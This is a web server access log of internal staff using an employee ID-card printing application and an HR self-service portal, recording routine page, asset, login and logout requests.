192.168.11.97 - - [25/May/2023:12:59:24 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:59:24 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:12:59:24 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:59:24 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:12:59:24 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:59:24 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:12:59:24 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:59:24 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:12:59:24 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:59:24 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:12:59:24 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:59:24 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:12:59:24 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:59:24 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:12:59:24 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:59:24 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:12:59:24 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:59:24 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:12:59:24 +0800] "GET /idcard/css/layout/layout.min.css HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:59:24 +0800] "GET /idcard/css/layout/layout.min.css HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:12:59:24 +0800] "GET /idcard/img/logo.gif HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:59:24 +0800] "GET /idcard/img/logo.gif HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:12:59:24 +0800] "GET /idcard/img/icon_exit.png HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:59:24 +0800] "GET /idcard/img/icon_exit.png HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:12:59:24 +0800] "GET /idcard/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:59:24 +0800] "GET /idcard/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:12:59:24 +0800] "GET /idcard/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:12:59:24 +0800] "GET /idcard/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:59:24 +0800] "GET /idcard/img/ess-logo.png HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:59:24 +0800] "GET /idcard/img/ess-logo.png HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:12:59:24 +0800] "GET /idcard/img/human.png HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:12:59:24 +0800] "GET /idcard/img/human.png HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:59:24 +0800] "GET /idcard/js/jquery.layout.min-1.2.0.js HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:59:24 +0800] "GET /idcard/js/jquery.layout.min-1.2.0.js HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:12:59:24 +0800] "GET /idcard/js/jquery.cookie.min.js HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:59:24 +0800] "GET /idcard/js/jquery.cookie.min.js HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:12:59:24 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:59:24 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:12:59:24 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:59:24 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:12:59:24 +0800] "GET /idcard/img/layout/toggle-lt.gif HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:59:24 +0800] "GET /idcard/img/layout/toggle-lt.gif HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:12:59:24 +0800] "GET /idcard/img/Person.png HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:59:24 +0800] "GET /idcard/img/Person.png HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:12:59:24 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:59:24 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:12:59:29 +0800] "GET /idcard/css/blueprint/screen.css HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:59:29 +0800] "GET /idcard/css/blueprint/screen.css HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:12:59:29 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:59:29 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:12:59:29 +0800] "GET /idcard/css/default.css HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:59:29 +0800] "GET /idcard/css/default.css HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:12:59:29 +0800] "GET /idcard/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:59:29 +0800] "GET /idcard/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:12:59:29 +0800] "GET /idcard/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:59:29 +0800] "GET /idcard/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:12:59:29 +0800] "GET /idcard/js/idcard_check.js HTTP/1.1" 200 9010 "http://192.168.1.81:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:59:29 +0800] "GET /idcard/js/idcard_check.js HTTP/1.1" 200 9010
192.168.11.97 - - [25/May/2023:12:59:29 +0800] "GET /idcard/js/functions.js HTTP/1.1" 200 8865 "http://192.168.1.81:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:59:29 +0800] "GET /idcard/js/functions.js HTTP/1.1" 200 8865
192.168.11.97 - - [25/May/2023:12:59:29 +0800] "GET /idcard/js/translate.js HTTP/1.1" 200 15726 "http://192.168.1.81:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:59:29 +0800] "GET /idcard/js/translate.js HTTP/1.1" 200 15726
192.168.11.97 - - [25/May/2023:12:59:24 +0800] "GET /idcard/ess/redirect.php?scriptname=IDRA001 HTTP/1.1" 200 50413 "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:59:24 +0800] "GET /idcard/ess/redirect.php?scriptname=IDRA001 HTTP/1.1" 200 50413
192.168.11.97 - - [25/May/2023:12:59:29 +0800] "GET /idcard/js/i18n/ui.datepicker-zh-CN.min.js HTTP/1.1" 200 697 "http://192.168.1.81:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:59:29 +0800] "GET /idcard/js/i18n/ui.datepicker-zh-CN.min.js HTTP/1.1" 200 697
192.168.11.97 - - [25/May/2023:12:59:29 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 "http://192.168.1.81:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:59:29 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457
192.168.11.97 - - [25/May/2023:12:59:29 +0800] "GET /idcard/img/lov.png HTTP/1.1" 200 788 "http://192.168.1.81:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:59:29 +0800] "GET /idcard/img/lov.png HTTP/1.1" 200 788
192.168.11.97 - - [25/May/2023:12:59:29 +0800] "GET /idcard/img/date.png HTTP/1.1" 200 626 "http://192.168.1.81:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:59:29 +0800] "GET /idcard/img/date.png HTTP/1.1" 200 626
192.168.11.97 - - [25/May/2023:12:59:29 +0800] "GET /idcard/ocx/IdrOcx.cab HTTP/1.1" 200 720802
192.168.11.97 - - [25/May/2023:12:59:29 +0800] "GET /idcard/ocx/IdrOcx.cab HTTP/1.1" 200 720802 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:59:33 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.81:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:59:33 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369
192.168.11.97 - - [25/May/2023:12:59:33 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-icons_469bdd_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.81:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:59:33 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-icons_469bdd_256x240.png HTTP/1.1" 200 4369
192.168.11.97 - - [25/May/2023:12:59:33 +0800] "GET /idcard/ess/img/ares.ico HTTP/1.1" 404 221 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:59:33 +0800] "GET /idcard/ess/img/ares.ico HTTP/1.1" 404 221
192.168.11.97 - - [25/May/2023:12:59:44 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:59:44 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369
192.168.11.97 - - [25/May/2023:12:59:44 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:59:44 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369
192.168.11.97 - - [25/May/2023:12:59:45 +0800] "GET /idcard/ess/redirect.php?scriptname=IDRB001&appdesc=IDRB001 HTTP/1.1" 200 6902 "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:59:45 +0800] "GET /idcard/ess/redirect.php?scriptname=IDRB001&appdesc=IDRB001 HTTP/1.1" 200 6902
192.168.11.97 - - [25/May/2023:12:59:58 +0800] "GET /idcard/img/layout/resizable-w.gif HTTP/1.1" 200 368 "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:59:58 +0800] "GET /idcard/img/layout/resizable-w.gif HTTP/1.1" 200 368
192.168.11.97 - - [25/May/2023:12:59:56 +0800] "GET /idcard/ess/redirect.php?scriptname=IDRX001&appdesc=IDRX001 HTTP/1.1" 200 5751 "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:12:59:56 +0800] "GET /idcard/ess/redirect.php?scriptname=IDRX001&appdesc=IDRX001 HTTP/1.1" 200 5751
192.168.11.97 - - [25/May/2023:13:00:04 +0800] "GET /idcard/ess/redirect.php?scriptname=IDRX001&appdesc=IDRX001 HTTP/1.1" 200 5751 "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:00:04 +0800] "GET /idcard/ess/redirect.php?scriptname=IDRX001&appdesc=IDRX001 HTTP/1.1" 200 5751
103.178.228.31 - - [25/May/2023:13:00:27 +0800] "GET / HTTP/1.0" 200 397 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
103.178.228.31 - - [25/May/2023:13:00:27 +0800] "GET / HTTP/1.0" 200 397
192.168.11.97 - - [25/May/2023:13:00:35 +0800] "GET /idcard/ess/redirect.php?scriptname=IDRB001&appdesc=IDRB001 HTTP/1.1" 200 6902 "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:00:35 +0800] "GET /idcard/ess/redirect.php?scriptname=IDRB001&appdesc=IDRB001 HTTP/1.1" 200 6902
192.168.11.97 - - [25/May/2023:13:00:55 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182
192.168.11.97 - - [25/May/2023:13:00:55 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 "http://192.168.1.81:8088/idcard/ess/redirect.php?scriptname=IDRB001&appdesc=IDRB001" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:00:59 +0800] "POST /idcard/ess/redirect.php?scriptname=IDRB001&appdesc=IDRB001 HTTP/1.1" 200 8525 "http://192.168.1.81:8088/idcard/ess/redirect.php?scriptname=IDRB001&appdesc=IDRB001" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:00:59 +0800] "POST /idcard/ess/redirect.php?scriptname=IDRB001&appdesc=IDRB001 HTTP/1.1" 200 8525
192.168.11.97 - - [25/May/2023:13:01:26 +0800] "POST /idcard/ess/redirect.php?scriptname=IDRB001&appdesc=IDRB001 HTTP/1.1" 200 8525 "http://192.168.1.81:8088/idcard/ess/redirect.php?scriptname=IDRB001&appdesc=IDRB001" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:01:26 +0800] "POST /idcard/ess/redirect.php?scriptname=IDRB001&appdesc=IDRB001 HTTP/1.1" 200 8525
192.168.11.236 - - [25/May/2023:13:01:32 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 302 - "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:13:01:32 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 302 -
192.168.11.236 - - [25/May/2023:13:01:45 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:13:01:45 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.97 - - [25/May/2023:13:01:54 +0800] "GET /idcard/ess/redirect.php?scriptname=IDRB002&appdesc=IDRB002 HTTP/1.1" 200 5849 "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:01:54 +0800] "GET /idcard/ess/redirect.php?scriptname=IDRB002&appdesc=IDRB002 HTTP/1.1" 200 5849
192.168.11.236 - - [25/May/2023:13:01:52 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:13:01:52 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.97 - - [25/May/2023:13:02:01 +0800] "POST /idcard/ess/redirect.php?scriptname=IDRB002&appdesc=IDRB002 HTTP/1.1" 200 7625 "http://192.168.1.81:8088/idcard/ess/redirect.php?scriptname=IDRB002&appdesc=IDRB002" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:02:01 +0800] "POST /idcard/ess/redirect.php?scriptname=IDRB002&appdesc=IDRB002 HTTP/1.1" 200 7625
192.168.11.97 - - [25/May/2023:13:02:05 +0800] "GET /idcard/ess/redirect.php?scriptname=idcard_preview&previewall=1 HTTP/1.1" 200 7942
192.168.11.97 - - [25/May/2023:13:02:05 +0800] "GET /idcard/ess/redirect.php?scriptname=idcard_preview&previewall=1 HTTP/1.1" 200 7942 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:02:22 +0800] "GET /Apache%20Software%20Foundation/emphoto/230054.jpg HTTP/1.1" 404 243
192.168.11.97 - - [25/May/2023:13:02:22 +0800] "GET /Apache%20Software%20Foundation/emphoto/230054.jpg HTTP/1.1" 404 243 "http://192.168.1.81:8088/idcard/ess/redirect.php?scriptname=idcard_preview&previewall=1" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:02:22 +0800] "GET /Apache%20Software%20Foundation/emphoto/X230253.jpg HTTP/1.1" 404 244
192.168.11.97 - - [25/May/2023:13:02:22 +0800] "GET /Apache%20Software%20Foundation/emphoto/X230253.jpg HTTP/1.1" 404 244 "http://192.168.1.81:8088/idcard/ess/redirect.php?scriptname=idcard_preview&previewall=1" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:02:22 +0800] "GET /idcard/css/printidcard.css HTTP/1.1" 200 1715
192.168.11.97 - - [25/May/2023:13:02:22 +0800] "GET /idcard/css/printidcard.css HTTP/1.1" 200 1715 "http://192.168.1.81:8088/idcard/ess/redirect.php?scriptname=idcard_preview&previewall=1" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:02:22 +0800] "GET /idcard/js/jquery-barcode-2.0.2.min.js HTTP/1.1" 200 25006
192.168.11.97 - - [25/May/2023:13:02:22 +0800] "GET /idcard/js/jquery-barcode-2.0.2.min.js HTTP/1.1" 200 25006 "http://192.168.1.81:8088/idcard/ess/redirect.php?scriptname=idcard_preview&previewall=1" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:02:22 +0800] "GET /idcard/upload/org_pic/idcard_company_log.png HTTP/1.1" 200 26231
192.168.11.97 - - [25/May/2023:13:02:22 +0800] "GET /idcard/upload/org_pic/idcard_company_log.png HTTP/1.1" 200 26231 "http://192.168.1.81:8088/idcard/ess/redirect.php?scriptname=idcard_preview&previewall=1" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.236 - - [25/May/2023:13:02:11 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:13:02:11 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.236 - - [25/May/2023:13:02:29 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:13:02:29 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929
192.168.12.36 - - [25/May/2023:13:04:21 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 302 205
192.168.12.36 - - [25/May/2023:13:04:21 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 302 205 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939"
